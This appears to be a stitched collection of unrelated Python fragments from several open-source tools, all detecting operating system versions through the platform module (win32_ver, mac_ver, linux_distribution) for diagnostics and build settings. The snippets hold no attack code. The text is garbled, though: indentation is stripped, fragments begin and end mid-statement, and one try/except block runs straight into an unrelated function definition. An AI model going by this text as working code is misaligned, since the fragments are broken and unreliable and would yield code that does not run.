elif d[1].startswith('6.'):
distro_version = DistroVersion.DEBIAN_SQUEEZE
elif d[1].startswith('7.') or d[1].startswith('wheezy'):
distro_version = DistroVersion.DEBIAN_WHEEZY
elif d[1].startswith('jessie'):
distro_version = DistroVersion.DEBIAN_JESSIE
else:
raise FatalError("Distribution '%s' not supported" % str(d))
elif d[0] in ['RedHat', 'Fedora', 'CentOS']:
distro = Distro.REDHAT
if d[1] == '16':
distro_version = DistroVersion.FEDORA_16
elif d[1] == '17':
distro_version = DistroVersion.FEDORA_17
elif d[1] == '18':
distro_version = DistroVersion.FEDORA_18
elif d[1] == '19':
distro_version = DistroVersion.FEDORA_19
elif d[1] == '20':
distro_version = DistroVersion.FEDORA_20
elif d[1].startswith('6.'):
distro_version = DistroVersion.REDHAT_6
else:
# FIXME Fill this
raise FatalError("Distribution '%s' not supported" % str(d))
elif d[0].strip() in ['openSUSE']:
distro = Distro.SUSE
if d[1] == '12.1':
distro_version = DistroVersion.OPENSUSE_12_1
elif d[1] == '12.2':
distro_version = DistroVersion.OPENSUSE_12_2
elif d[1] == '12.3':
distro_version = DistroVersion.OPENSUSE_12_3
else:
# FIXME Fill this
raise FatalError("Distribution OpenSuse '%s' "
"not supported" % str(d))
else:
raise FatalError("Distribution '%s' not supported" % str(d))
elif platform == Platform.WINDOWS:
distro = Distro.WINDOWS
win32_ver = pplatform.win32_ver()[0].lower()
dmap = {
'xp': DistroVersion.WINDOWS_XP,
'vista': DistroVersion.WINDOWS_VISTA,
'7': DistroVersion.WINDOWS_7,
'8': DistroVersion.WINDOWS_8,
'post2008server': DistroVersion.WINDOWS_8
}
if win32_ver in dmap:
distro_version = dmap[win32_ver]
else:
raise FatalError("Windows version '%s' not supported" % win32_ver)
elif platform == Platform.DARWIN:
distro = Distro.OS_X
ver = pplatform.mac_ver()[0]
if ver.startswith('10.10'):
distro_version = DistroVersion.OS_X_YOSEMITE
elif ver.startswith('10.9'):
distro_version = DistroVersion.OS_X_MAVERICKS
elif ver.startswith('10.8'):
distro_version = DistroVersion.OS_X_MOUNTAIN_LION
elif ver.startswith('10.7'):
distro_version = DistroVersion.OS_X_LION
elif ver.startswith('10.6'):
distro_version = DistroVersion.OS_X_SNOW_LEOPARD
elif ver.startswith('10.5'):
distro_version = DistroVersion.OS_X_LEOPARD
else:
raise FatalError("Mac version %s not supported" % ver)
num_of_cpus = determine_num_of_cpus()
return platform, arch, distro, distro_version, num_of_cpus
def __init__(self,
resource_id,
subject,
agent,
retry=True,
host=None,
session_headers=None):
"""
Client constructor
:param resource_id -- ID of the resource being accessed (URI format)
as it appears in the registry.
:param subject -- The subject that is using the service
:type subject: cadcutil.auth.Subject
:param agent -- Name of the agent (application) that accesses the
service and its version, e.g. foo/1.0.2
:type agent: Subject
:param retry -- True if the client retries on transient errors False
otherwise
:param host -- override the name of the host the service is running on
(for testing purposes)
:param session_headers -- Headers used throughout the session -
dictionary format expected.
"""
self.logger = logging.getLogger('BaseWsClient')
logging.getLogger('BaseWsClient').addHandler(logging.NullHandler())
if resource_id is None:
raise ValueError('No resource ID provided')
if agent is None or not agent:
raise ValueError('agent is None or empty string')
self._session = None
self.subject = subject
self.resource_id = resource_id
self.retry = retry
self.session_headers = session_headers
# agent is / delimited key value pairs, separated by a space,
# containing the application name and version,
# plus the name and version of application libraries.
# eg: foo/1.0.2 foo-lib/1.2.3
self.agent = agent
# Get the package name and version, plus any imported libraries.
self.package_info = "cadcutils/{} requests/{}".format(
cadctools_version.version, requests.__version__)
self.python_info = "{}/{}".format(platform.python_implementation(),
platform.python_version())
self.system_info = "{}/{}".format(platform.system(),
platform.version())
o_s = sys.platform
if o_s.lower().startswith('linux'):
distname, version, osid = distro.linux_distribution()
self.os_info = "{} {}".format(distname, version)
elif o_s == "darwin":
release, version, machine = platform.mac_ver()
self.os_info = "Mac OS X {}".format(release)
elif o_s.lower().startswith("win32"):
release, version, csd, ptype = platform.win32_ver()
self.os_info = "{} {}".format(release, version)
# build the corresponding capabilities instance
self.caps = WsCapabilities(self, host)
self._host = host
if host is None:
base_url = self.caps.get_access_url(SERVICE_AVAILABILITY_ID)
self._host = urlparse(base_url).hostname
# Clients should add entries to this dict for specialized
# conversion of HTTP error codes into particular exceptions.
#
# Use this form to include a search string in the response to
# handle multiple possibilities for a single HTTP code.
# XXX : {'SEARCHSTRING1' : exceptionInstance1,
# 'SEARCHSTRING2' : exceptionInstance2}
#
# Otherwise provide a simple HTTP code -> exception mapping
# XXX : exceptionInstance
#
# The actual conversion is performed by get_exception()
self._HTTP_STATUS_CODE_EXCEPTIONS = {
401: exceptions.UnauthorizedException()
}
def main(): # pylint: disable=too-many-branches,too-many-locals,too-many-statements
"""Execute Main program."""
root_logger = logging.Logger("hang_analyzer", level=logging.DEBUG)
handler = logging.StreamHandler(sys.stdout)
handler.setFormatter(logging.Formatter(fmt="%(message)s"))
root_logger.addHandler(handler)
root_logger.info("Python Version: %s", sys.version)
root_logger.info("OS: %s", platform.platform())
try:
if _IS_WINDOWS or sys.platform == "cygwin":
distro = platform.win32_ver()
root_logger.info("Windows Distribution: %s", distro)
else:
distro = platform.linux_distribution()
root_logger.info("Linux Distribution: %s", distro)
except AttributeError:
root_logger.warning(
"Cannot determine Linux distro since Python is too old")
try:
uid = os.getuid()
root_logger.info("Current User: %s", uid)
current_login = os.getlogin()
root_logger.info("Current Login: %s", current_login)
except OSError:
root_logger.warning("Cannot determine Unix Current Login")
except AttributeError:
root_logger.warning(
"Cannot determine Unix Current Login, not supported on Windows")
interesting_processes = [
"mongo", "mongod", "mongos", "_test", "dbtest", "python", "java"
]
go_processes = []
process_ids = []
parser = OptionParser(description=__doc__)
parser.add_option(
'-m',
'--process-match',
dest='process_match',
choices=['contains', 'exact'],
default='contains',
help="Type of match for process names (-p & -g), specify 'contains', or"
" 'exact'. Note that the process name match performs the following"
" conversions: change all process names to lowecase, strip off the file"
" extension, like '.exe' on Windows. Default is 'contains'.")
parser.add_option('-p',
'--process-names',
dest='process_names',
help='Comma separated list of process names to analyze')
parser.add_option(
'-g',
'--go-process-names',
dest='go_process_names',
help='Comma separated list of go process names to analyze')
parser.add_option(
'-d',
'--process-ids',
dest='process_ids',
default=None,
help=
'Comma separated list of process ids (PID) to analyze, overrides -p &'
' -g')
parser.add_option('-c',
'--dump-core',
dest='dump_core',
action="store_true",
default=False,
help='Dump core file for each analyzed process')
parser.add_option(
'-s',
'--max-core-dumps-size',
dest='max_core_dumps_size',
default=10000,
help='Maximum total size of core dumps to keep in megabytes')
parser.add_option(
'-o',
'--debugger-output',
dest='debugger_output',
action="append",
choices=['file', 'stdout'],
default=None,
help="If 'stdout', then the debugger's output is written to the Python"
" process's stdout. If 'file', then the debugger's output is written"
" to a file named debugger_<process>_<pid>.log for each process it"
" attaches to. This option can be specified multiple times on the"
" command line to have the debugger's output written to multiple"
" locations. By default, the debugger's output is written only to the"
" Python process's stdout.")
(options, _) = parser.parse_args()
if options.debugger_output is None:
options.debugger_output = ['stdout']
if options.process_ids is not None:
# process_ids is an int list of PIDs
process_ids = [int(pid) for pid in options.process_ids.split(',')]
if options.process_names is not None:
interesting_processes = options.process_names.split(',')
if options.go_process_names is not None:
go_processes = options.go_process_names.split(',')
interesting_processes += go_processes
[ps, dbg, jstack] = get_hang_analyzers()
if ps is None or (dbg is None and jstack is None):
root_logger.warning("hang_analyzer.py: Unsupported platform: %s",
sys.platform)
exit(1)
all_processes = ps.dump_processes(root_logger)
# Canonicalize the process names to lowercase to handle cases where the name of the Python
# process is /System/Library/.../Python on OS X and -p python is specified to hang_analyzer.py.
all_processes = [(pid, process_name.lower())
for (pid, process_name) in all_processes]
# Find all running interesting processes:
# If a list of process_ids is supplied, match on that.
# Otherwise, do a substring match on interesting_processes.
if process_ids:
processes = [(pid, pname) for (pid, pname) in all_processes
if pid in process_ids and pid != os.getpid()]
running_pids = set([pid for (pid, pname) in all_processes])
missing_pids = set(process_ids) - running_pids
if missing_pids:
root_logger.warning(
"The following requested process ids are not running %s",
list(missing_pids))
else:
processes = [
(pid, pname) for (pid, pname) in all_processes
if pname_match(options.process_match, pname, interesting_processes)
and pid != os.getpid()
]
root_logger.info("Found %d interesting processes %s", len(processes),
processes)
max_dump_size_bytes = int(options.max_core_dumps_size) * 1024 * 1024
# Dump python processes by signalling them. The resmoke.py process will generate
# the report.json, when signalled, so we do this before attaching to other processes.
for (pid, process_name) in [(p, pn) for (p, pn) in processes
if pn.startswith("python")]:
# On Windows, we set up an event object to wait on a signal. For Cygwin, we register
# a signal handler to wait for the signal since it supports POSIX signals.
if _IS_WINDOWS:
root_logger.info(
"Calling SetEvent to signal python process %s with PID %d",
process_name, pid)
signal_event_object(root_logger, pid)
else:
root_logger.info(
"Sending signal SIGUSR1 to python process %s with PID %d",
process_name, pid)
signal_process(root_logger, pid, signal.SIGUSR1)
trapped_exceptions = []
# Dump all processes, except python & java.
for (pid, process_name) in [(p, pn) for (p, pn) in processes
if not re.match("^(java|python)", pn)]:
process_logger = get_process_logger(options.debugger_output, pid,
process_name)
try:
dbg.dump_info(
root_logger, process_logger, pid, process_name,
options.dump_core
and check_dump_quota(max_dump_size_bytes, dbg.get_dump_ext()))
except Exception as err: # pylint: disable=broad-except
root_logger.info("Error encountered when invoking debugger %s",
err)
trapped_exceptions.append(traceback.format_exc())
# Dump java processes using jstack.
for (pid, process_name) in [(p, pn) for (p, pn) in processes
if pn.startswith("java")]:
process_logger = get_process_logger(options.debugger_output, pid,
process_name)
try:
jstack.dump_info(root_logger, pid)
except Exception as err: # pylint: disable=broad-except
root_logger.info("Error encountered when invoking debugger %s",
err)
trapped_exceptions.append(traceback.format_exc())
# Signal go processes to ensure they print out stack traces, and die on POSIX OSes.
# On Windows, this will simply kill the process since python emulates SIGABRT as
# TerminateProcess.
# Note: The stacktrace output may be captured elsewhere (i.e. resmoke).
for (pid, process_name) in [(p, pn) for (p, pn) in processes
if pn in go_processes]:
root_logger.info("Sending signal SIGABRT to go process %s with PID %d",
process_name, pid)
signal_process(root_logger, pid, signal.SIGABRT)
root_logger.info("Done analyzing all processes for hangs")
for exception in trapped_exceptions:
root_logger.info(exception)
if trapped_exceptions:
sys.exit(1)
sys.exit(1)
import platform
print platform.uname()
if platform.linux_distribution()[0] == "":
pass
else:
print platform.linux_distribution()
print platform.system()
print platform.platform()
print platform.architecture()
print platform.version()
print platform.release()
print platform.node()
print platform.machine()
print platform.win32_ver()
print os.name
print sys.platform
if 'nt' in os.name:
print 'Windows'
elif 'posix' in os.name:
print 'Linux'
try:
with open('/etc/issue') as f:
content = f.read().lower().strip()
output_list = re.split(r' ', content)
linux_type = list(output_list)[0]
except IOError:
def getOsVersion():
version = platform.win32_ver()[1]
build = getVersionRegKey('BuildLabEx').split('.')[1]
return '{}.{}'.format(version, build)
os_version = OSVERSIONINFOEXW()
os_version.dwOSVersionInfoSize = ctypes.sizeof(os_version)
retcode = ctypes.windll.Ntdll.RtlGetVersion(ctypes.byref(os_version))
# Om failure, assume we have a newer version of windows
if retcode != 0:
return (10, 0)
return (os_version.dwMajorVersion, os_version.dwMinorVersion)
except:
return (10, 0)
if platform.win32_ver()[0]:
windows = get_windows_version()
elif os.environ.get("RENPY_PLATFORM", "").startswith("ios"):
ios = True
elif platform.mac_ver()[0]:
macintosh = True
elif "ANDROID_PRIVATE" in os.environ:
android = True
elif sys.platform == 'emscripten' or "RENPY_EMSCRIPTEN" in os.environ:
emscripten = True
else:
linux = True
# A flag that's true if we're on a smartphone or tablet-like platform.
mobile = android or ios or emscripten
from psutil._common import *
# Windows specific extended namespace
__all__ = base_module_namespace[:]
__all__.extend([
"ABOVE_NORMAL_PRIORITY_CLASS", "BELOW_NORMAL_PRIORITY_CLASS",
"HIGH_PRIORITY_CLASS", "IDLE_PRIORITY_CLASS", "NORMAL_PRIORITY_CLASS",
"REALTIME_PRIORITY_CLASS"
])
# --- module level constants (gets pushed up to psutil module)
NUM_CPUS = _psutil_mswindows.get_num_cpus()
TOTAL_PHYMEM = _psutil_mswindows.get_total_phymem()
BOOT_TIME = _psutil_mswindows.get_system_uptime()
_WIN2000 = platform.win32_ver()[0] == '2000'
ERROR_ACCESS_DENIED = 5
# process priority constants:
# http://msdn.microsoft.com/en-us/library/ms686219(v=vs.85).aspx
from _psutil_mswindows import (ABOVE_NORMAL_PRIORITY_CLASS,
BELOW_NORMAL_PRIORITY_CLASS,
HIGH_PRIORITY_CLASS, IDLE_PRIORITY_CLASS,
NORMAL_PRIORITY_CLASS, REALTIME_PRIORITY_CLASS)
# --- public functions
def avail_phymem():
"Return the amount of physical memory available on the system, in bytes."
return _psutil_mswindows.get_avail_phymem()
def get_os_version(self):
"""Return the major version of Windows installed."""
parts = platform.win32_ver()
return parts[0]
def diagnostic_info():
"""Return diagnostic information as a string"""
s = "BleachBit version %s" % bleachbit.APP_VERSION
try:
import gtk
s += '\nGTK+ version %s' % '.'.join([str(x) for x in gtk.gtk_version])
except ImportError:
s += '\nGTK+ not detected'
import sqlite3
s += "\nSQLite version %s" % sqlite3.sqlite_version
s += "\nlocal_cleaners_dir = %s" % bleachbit.local_cleaners_dir
s += "\nlocale_dir = %s" % bleachbit.locale_dir
s += "\noptions_dir = %s" % bleachbit.options_dir.decode(bleachbit.FSE)
s += "\npersonal_cleaners_dir = %s" % bleachbit.personal_cleaners_dir.decode(
bleachbit.FSE)
s += "\nsystem_cleaners_dir = %s" % bleachbit.system_cleaners_dir
s += "\nlocale.getdefaultlocale = %s" % str(locale.getdefaultlocale())
if 'posix' == os.name:
envs = ('DESKTOP_SESSION', 'LOGNAME', 'USER', 'SUDO_UID')
if 'nt' == os.name:
envs = ('APPDATA', 'LocalAppData', 'LocalAppDataLow', 'Music',
'USERPROFILE', 'ProgramFiles', 'ProgramW6432', 'TMP')
for env in envs:
if os.getenv(env):
s += "\nos.getenv('%s') = %s" % (env,
os.getenv(env).decode(bleachbit.FSE))
else:
s += "\nos.getenv('%s') = %s" % (env, os.getenv(env))
s += "\nos.path.expanduser('~') = %s" % bleachbit.expanduser(
'~').decode(bleachbit.FSE)
if sys.platform.startswith('linux'):
if hasattr(platform, 'linux_distribution'):
s += "\nplatform.linux_distribution() = %s" % str(
platform.linux_distribution())
else:
s += "\nplatform.dist() = %s" % str(platform.dist())
# Mac Version Name - Dictionary
macosx_dict = {'5': 'Leopard', '6': 'Snow Leopard', '7': 'Lion', '8': 'Mountain Lion',
'9': 'Mavericks', '10': 'Yosemite', '11': 'El Capitan', '12': 'Sierra'}
if sys.platform.startswith('darwin'):
if hasattr(platform, 'mac_ver'):
for key in macosx_dict:
if (platform.mac_ver()[0].split('.')[1] == key):
s += "\nplatform.mac_ver() = %s" % str(
platform.mac_ver()[0] + " (" + macosx_dict[key] + ")")
else:
s += "\nplatform.dist() = %s" % str(platform.dist())
if 'nt' == os.name:
s += "\nplatform.win32_ver[1]() = %s" % platform.win32_ver()[1]
s += "\nplatform.platform = %s" % platform.platform()
s += "\nplatform.version = %s" % platform.version()
s += "\nsys.argv = %s" % sys.argv
s += "\nsys.executable = %s" % sys.executable
s += "\nsys.version = %s" % sys.version
if 'nt' == os.name:
s += "\nwin32com.shell.shell.IsUserAnAdmin() = %s" % shell.IsUserAnAdmin(
)
s += "\n__file__ = %s" % __file__
return s
# Data files (including DLLs) to include with the package.
package_data = [ ]
# A list of extension objects that we use.
extensions = [ ]
# A list of macros that are defined for all modules.
global_macros = [ ]
# True if we're building on android.
android = "PYGAME_SDL2_ANDROID" in os.environ
# True if we're building on ios.
ios = "PYGAME_SDL2_IOS" in os.environ
windows = platform.win32_ver()[0]
# The cython command.
if windows:
cython_command = os.path.join(os.path.dirname(sys.executable), "Scripts", "cython.exe")
else:
cython_command = "cython"
if sys.version_info[0] >= 3:
version_flag = "-3"
gen = "gen3"
else:
version_flag = "-2"
gen = "gen"
def get_day_name_offset_dict(user_locale):
""" The day name to offset dict maps a day name to a numerical day offset which can be used to add days to the current date.
Day names will match the provided user locale and will be in lowercase.
"""
offset_dict = {}
# Todays birthdays will be shown normally (as a date) so start from tomorrow
start_date = datetime.now() + relativedelta(days=1)
# Method 1: Babel
try:
babel_locale = Locale.parse(user_locale, sep='_')
cur_date = start_date
# Iterate through the following 7 days
for i in range(1, 8):
offset_dict[format_date(cur_date, 'EEEE',
locale=babel_locale).lower()] = i
cur_date = cur_date + relativedelta(days=1)
return offset_dict
except UnknownLocaleError as e:
logger.debug(f'Babel UnknownLocaleError: {e}')
# Method 2: System locale
cur_date = start_date
locale_check_list = [
user_locale, user_locale + 'UTF-8', user_locale + 'utf-8'
]
system_locale = None
# Windows
if any(platform.win32_ver()):
for locale_to_check in locale_check_list:
if locale_to_check in locale.windows_locale.values():
system_locale = locale_to_check
break
# POSIX
else:
for locale_to_check in locale_check_list:
if locale_to_check in locale.locale_alias.values():
system_locale = locale_to_check
break
# Check if system locale was found
if system_locale:
locale.setlocale(locale.LC_ALL, system_locale)
# Iterate through the following 7 days
for i in range(1, 8):
offset_dict[cur_date.strftime('%A').lower()] = i
cur_date = cur_date + relativedelta(days=1)
return offset_dict
else:
logger.debug(
f"Unable to find system locale for provided user locale: '{user_locale}'"
)
# Failure
logger.error(
f"Failed to generate day name offset dictionary for provided user locale: '{user_locale}'"
)
raise SystemError
def test_win32_ver(self):
res = platform.win32_ver()
def get_sys_info():
# delay these imports until now as they are only needed in this
# function which then exits.
import platform
import json
import multiprocessing
from numba import config
from numba import cuda as cu
from numba.cuda import cudadrv
from numba.cuda.cudadrv.driver import driver as cudriver
from numba import roc
from numba.roc.hlc import hlc, libhlc
import textwrap as tw
import ctypes as ct
import llvmlite.binding as llvmbind
import locale
from datetime import datetime
from itertools import chain
from subprocess import check_output, CalledProcessError
try:
fmt = "%-45s : %-s"
print("-" * 80)
print("__Time Stamp__")
print(datetime.utcnow())
print("")
print("__Hardware Information__")
system_name = platform.system()
print(fmt % ("Machine", platform.machine()))
print(fmt % ("CPU Name", llvmbind.get_host_cpu_name()))
if system_name == 'Linux':
strmatch = 'Cpus_allowed'
try:
loc = '/proc/self/status'
with open(loc, 'rt') as f:
proc_stat = f.read().splitlines()
for x in proc_stat:
if x.startswith(strmatch):
if x.startswith('%s:' % strmatch):
hexnum = '0x%s' % x.split(':')[1].strip()
acc_cpus = int(hexnum, 16)
_n = str(bin(acc_cpus).count('1'))
print(fmt % ("Number of accessible CPU cores",
_n))
elif x.startswith('%s_list:' % strmatch):
_a = x.split(':')[1].strip()
print(fmt % ("Listed accessible CPUs cores",
_a))
except Exception:
print(fmt % ("CPU count", multiprocessing.cpu_count()))
# See if CFS is in place
# https://www.kernel.org/doc/Documentation/scheduler/sched-bwc.txt
try:
def scrape_lines(loc):
with open(loc, 'rt') as f:
return f.read().splitlines()
loc = '/sys/fs/cgroup/cpuacct/cpu.cfs_period_us'
cfs_period = int(scrape_lines(loc)[0])
loc = '/sys/fs/cgroup/cpuacct/cpu.cfs_quota_us'
cfs_quota = int(scrape_lines(loc)[0])
if cfs_quota == -1:
print(fmt % ("CFS restrictions", "None"))
else:
runtime_amount = float(cfs_quota)/float(cfs_period)
print(fmt % ("CFS restrictions (CPUs worth of runtime)",
runtime_amount))
except Exception:
print(fmt % ("CFS restrictions", 'Information not available'))
else:
print(fmt % ("CPU count", multiprocessing.cpu_count()))
try:
featuremap = llvmbind.get_host_cpu_features()
except RuntimeError:
print(fmt % ("CPU Features", "NA"))
else:
features = sorted([key for key, value in featuremap.items()
if value])
cpu_feat = tw.fill(' '.join(features), 80)
print(fmt % ("CPU Features", ""))
print(cpu_feat)
print("")
print("__OS Information__")
print(fmt % ("Platform", platform.platform(aliased=True)))
print(fmt % ("Release", platform.release()))
print(fmt % ("System Name", system_name))
print(fmt % ("Version", platform.version()))
try:
if system_name == 'Linux':
info = platform.linux_distribution()
elif system_name == 'Windows':
info = platform.win32_ver()
elif system_name == 'Darwin':
info = platform.mac_ver()
else:
raise RuntimeError("Unknown system.")
buf = ''.join([x
if x != '' else ' '
for x in list(chain.from_iterable(info))])
print(fmt % ("OS specific info", buf))
if system_name == 'Linux':
print(fmt % ("glibc info", ' '.join(platform.libc_ver())))
except:
print("Error: System name incorrectly identified or unknown.")
print("")
print("__Python Information__")
print(fmt % ("Python Compiler", platform.python_compiler()))
print(
fmt %
("Python Implementation",
platform.python_implementation()))
print(fmt % ("Python Version", platform.python_version()))
lcl = []
try:
for x in locale.getdefaultlocale():
if x is not None:
lcl.append(x)
except Exception as e:
lcl.append(str(e))
print(fmt % ("Python Locale ", ' '.join(lcl)))
print("")
print("__LLVM information__")
print(
fmt %
("LLVM version", '.'.join(
[str(k) for k in llvmbind.llvm_version_info])))
print("")
print("__CUDA Information__")
# Look for GPUs
try:
cu.list_devices()[0] # will a device initialise?
except Exception as e:
msg_not_found = "CUDA driver library cannot be found"
msg_disabled_by_user = "******"
msg_end = " or no CUDA enabled devices are present."
msg_generic_problem = "Error: CUDA device intialisation problem."
msg = getattr(e, 'msg', None)
if msg is not None:
if msg_not_found in msg:
err_msg = msg_not_found + msg_end
elif msg_disabled_by_user in msg:
err_msg = msg_disabled_by_user + msg_end
else:
err_msg = msg_generic_problem + " Message:" + msg
else:
err_msg = msg_generic_problem + " " + str(e)
# Best effort error report
print("%s\nError class: %s" % (err_msg, str(type(e))))
else:
try:
cu.detect()
dv = ct.c_int(0)
cudriver.cuDriverGetVersion(ct.byref(dv))
print(fmt % ("CUDA driver version", dv.value))
print("CUDA libraries:")
cudadrv.libs.test(sys.platform, print_paths=False)
except:
print(
"Error: Probing CUDA failed (device and driver present, runtime problem?)\n")
print("")
print("__ROC Information__")
roc_is_available = roc.is_available()
print(fmt % ("ROC available", roc_is_available))
toolchains = []
try:
libhlc.HLC()
toolchains.append('librocmlite library')
except:
pass
try:
cmd = hlc.CmdLine().check_tooling()
toolchains.append('ROC command line tools')
except:
pass
# if no ROC try and report why
if not roc_is_available:
from numba.roc.hsadrv.driver import hsa
try:
hsa.is_available
except Exception as e:
msg = str(e)
else:
msg = 'No ROC toolchains found.'
print(fmt % ("Error initialising ROC due to", msg))
if toolchains:
print(fmt % ("Available Toolchains", ', '.join(toolchains)))
try:
# ROC might not be available due to lack of tool chain, but HSA
# agents may be listed
from numba.roc.hsadrv.driver import hsa, dgpu_count
decode = lambda x: x.decode('utf-8') if isinstance(x, bytes) else x
print("\nFound %s HSA Agents:" % len(hsa.agents))
for i, agent in enumerate(hsa.agents):
print('Agent id : %s' % i)
print(' vendor: %s' % decode(agent.vendor_name))
print(' name: %s' % decode(agent.name))
print(' type: %s' % agent.device)
print("")
_dgpus = []
for a in hsa.agents:
if a.is_component and a.device == 'GPU':
_dgpus.append(decode(a.name))
print(fmt % ("Found %s discrete GPU(s)" % dgpu_count(), \
', '.join(_dgpus)))
except Exception as e:
print("No HSA Agents found, encountered exception when searching:")
print(e)
print("")
print("__SVML Information__")
# replicate some SVML detection logic from numba.__init__ here.
# if SVML load fails in numba.__init__ the splitting of the logic
# here will help diagnosis of the underlying issue
have_svml_library = True
try:
if sys.platform.startswith('linux'):
llvmbind.load_library_permanently("libsvml.so")
elif sys.platform.startswith('darwin'):
llvmbind.load_library_permanently("libsvml.dylib")
elif sys.platform.startswith('win'):
llvmbind.load_library_permanently("svml_dispmd")
else:
have_svml_library = False
except:
have_svml_library = False
func = getattr(llvmbind.targets, "has_svml", None)
llvm_svml_patched = func() if func is not None else False
svml_operational = (config.USING_SVML and llvm_svml_patched \
and have_svml_library)
print(fmt % ("SVML state, config.USING_SVML", config.USING_SVML))
print(fmt % ("SVML library found and loaded", have_svml_library))
print(fmt % ("llvmlite using SVML patched LLVM", llvm_svml_patched))
print(fmt % ("SVML operational", svml_operational))
# Check which threading backends are available.
print("")
print("__Threading Layer Information__")
def parse_error(e, backend):
# parses a linux based error message, this is to provide feedback
# and hide user paths etc
try:
path, problem, symbol = [x.strip() for x in e.msg.split(':')]
extn_dso = os.path.split(path)[1]
if backend in extn_dso:
return "%s: %s" % (problem, symbol)
except Exception:
pass
return "Unknown import problem."
try:
from numba.npyufunc import tbbpool
print(fmt % ("TBB Threading layer available", True))
except ImportError as e:
# might be a missing symbol due to e.g. tbb libraries missing
print(fmt % ("TBB Threading layer available", False))
print(fmt % ("+--> Disabled due to",
parse_error(e, 'tbbpool')))
try:
from numba.npyufunc import omppool
print(fmt % ("OpenMP Threading layer available", True))
except ImportError as e:
print(fmt % ("OpenMP Threading layer available", False))
print(fmt % ("+--> Disabled due to",
parse_error(e, 'omppool')))
try:
from numba.npyufunc import workqueue
print(fmt % ("Workqueue Threading layer available", True))
except ImportError as e:
print(fmt % ("Workqueue Threading layer available", False))
print(fmt % ("+--> Disabled due to",
parse_error(e, 'workqueue')))
# look for numba env vars that are set
print("")
print("__Numba Environment Variable Information__")
_envvar_found = False
for k, v in os.environ.items():
if k.startswith('NUMBA_'):
print(fmt % (k, v))
_envvar_found = True
if not _envvar_found:
print("None set.")
# Look for conda and conda information
print("")
print("__Conda Information__")
cmd = ["conda", "info", "--json"]
try:
conda_out = check_output(cmd)
except Exception as e:
print(
"Conda not present/not working.\nError was %s\n" % e)
else:
data = ''.join(conda_out.decode("utf-8").splitlines())
jsond = json.loads(data)
keys = ['conda_build_version',
'conda_env_version',
'platform',
'python_version',
'root_writable']
for k in keys:
try:
print(fmt % (k, jsond[k]))
except KeyError:
pass
# get info about current environment
cmd = ["conda", "list"]
try:
conda_out = check_output(cmd)
except CalledProcessError as e:
print("Error: Conda command failed. Error was %s\n" % e.output)
else:
print("")
print("__Current Conda Env__")
data = conda_out.decode("utf-8").splitlines()
for k in data:
if k[0] != '#': # don't show where the env is, personal data
print(k)
print("-" * 80)
except Exception as e:
print("Error: The system reporting tool has failed unexpectedly.")
print("Exception was:")
print(e)
finally:
print(
"%s" %
"If requested, please copy and paste the information between\n"
"the dashed (----) lines, or from a given specific section as\n"
"appropriate.\n\n"
"=============================================================\n"
"IMPORTANT: Please ensure that you are happy with sharing the\n"
"contents of the information present, any information that you\n"
"wish to keep private you should remove before sharing.\n"
"=============================================================\n")
def system_information():
'''
Report system versions.
'''
def system_version():
'''
Return host system version.
'''
lin_ver = linux_distribution()
mac_ver = platform.mac_ver()
win_ver = platform.win32_ver()
if lin_ver[0]:
return ' '.join(lin_ver)
elif mac_ver[0]:
if isinstance(mac_ver[1], (tuple, list)) and ''.join(mac_ver[1]):
return ' '.join([mac_ver[0], '.'.join(mac_ver[1]), mac_ver[2]])
else:
return ' '.join([mac_ver[0], mac_ver[2]])
elif win_ver[0]:
return ' '.join(win_ver)
else:
return ''
if platform.win32_ver()[0]:
# Get the version and release info based on the Windows Operating
# System Product Name. As long as Microsoft maintains a similar format
# this should be future proof
import win32api # pylint: disable=3rd-party-module-not-gated
import win32con # pylint: disable=3rd-party-module-not-gated
# Get the product name from the registry
hkey = win32con.HKEY_LOCAL_MACHINE
key = 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion'
value_name = 'ProductName'
reg_handle = win32api.RegOpenKey(hkey, key)
# Returns a tuple of (product_name, value_type)
product_name, _ = win32api.RegQueryValueEx(reg_handle, value_name)
version = 'Unknown'
release = ''
if 'Server' in product_name:
for item in product_name.split(' '):
# If it's all digits, then it's version
if re.match(r'\d+', item):
version = item
# If it starts with R and then numbers, it's the release
# ie: R2
if re.match(r'^R\d+$', item):
release = item
release = '{0}Server{1}'.format(version, release)
else:
for item in product_name.split(' '):
# If it's a number, decimal number, Thin or Vista, then it's the
# version
if re.match(r'^(\d+(\.\d+)?)|Thin|Vista$', item):
version = item
release = version
_, ver, service_pack, extra = platform.win32_ver()
version = ' '.join([release, ver, service_pack, extra])
else:
version = system_version()
release = platform.release()
system = [
('system', platform.system()),
('dist', ' '.join(linux_distribution(full_distribution_name=False))),
('release', release),
('machine', platform.machine()),
('version', version),
('locale', __salt_system_encoding__),
]
for name, attr in system:
yield name, attr
continue
from .exceptions import ExecCommandFailed
# Copied from https://docs.python.org/3/library/platform.html#cross-platform.
is_64bits = sys.maxsize > 2**32
# Distinguish specific code for various Python versions.
# Variables 'is_pyXY' mean that Python X.Y and up is supported.
# Keep even unsupported versions here to keep 3rd-party hooks working.
is_py35 = sys.version_info >= (3, 5)
is_py36 = sys.version_info >= (3, 6)
is_py37 = sys.version_info >= (3, 7)
is_py38 = sys.version_info >= (3, 8)
is_py39 = sys.version_info >= (3, 9)
is_win = sys.platform.startswith('win')
is_win_10 = is_win and (platform.win32_ver()[0] == '10')
is_cygwin = sys.platform == 'cygwin'
is_darwin = sys.platform == 'darwin' # Mac OS X
# Unix platforms
is_linux = sys.platform.startswith('linux')
is_solar = sys.platform.startswith('sun') # Solaris
is_aix = sys.platform.startswith('aix')
is_freebsd = sys.platform.startswith('freebsd')
is_openbsd = sys.platform.startswith('openbsd')
is_hpux = sys.platform.startswith('hp-ux')
# Some code parts are similar to several unix platforms
# (e.g. Linux, Solaris, AIX)
# Mac OS X is not considered as unix since there are many
# platform specific details for Mac in PyInstaller.
def __call__(self,
stdin=None,
stdout=True,
stderr=True,
cwd=None,
env=None):
"""Execute command, wait for it to finish, return (stdout, stderr).
Runs the command line tool and waits for it to finish. If it returns
a non-zero error level, an exception is raised. Otherwise two strings
are returned containing stdout and stderr.
The optional stdin argument should be a string of data which will be
passed to the tool as standard input.
The optional stdout and stderr argument may be filenames (string),
but otherwise are treated as a booleans, and control if the output
should be captured as strings (True, default), or ignored by sending
it to /dev/null to avoid wasting memory (False). If sent to a file
or ignored, then empty string(s) are returned.
The optional cwd argument is a string giving the working directory
to run the command from. See Python's subprocess module documentation
for more details.
The optional env argument is a dictionary setting the environment
variables to be used in the new process. By default the current
process' environment variables are used. See Python's subprocess
module documentation for more details.
Default example usage::
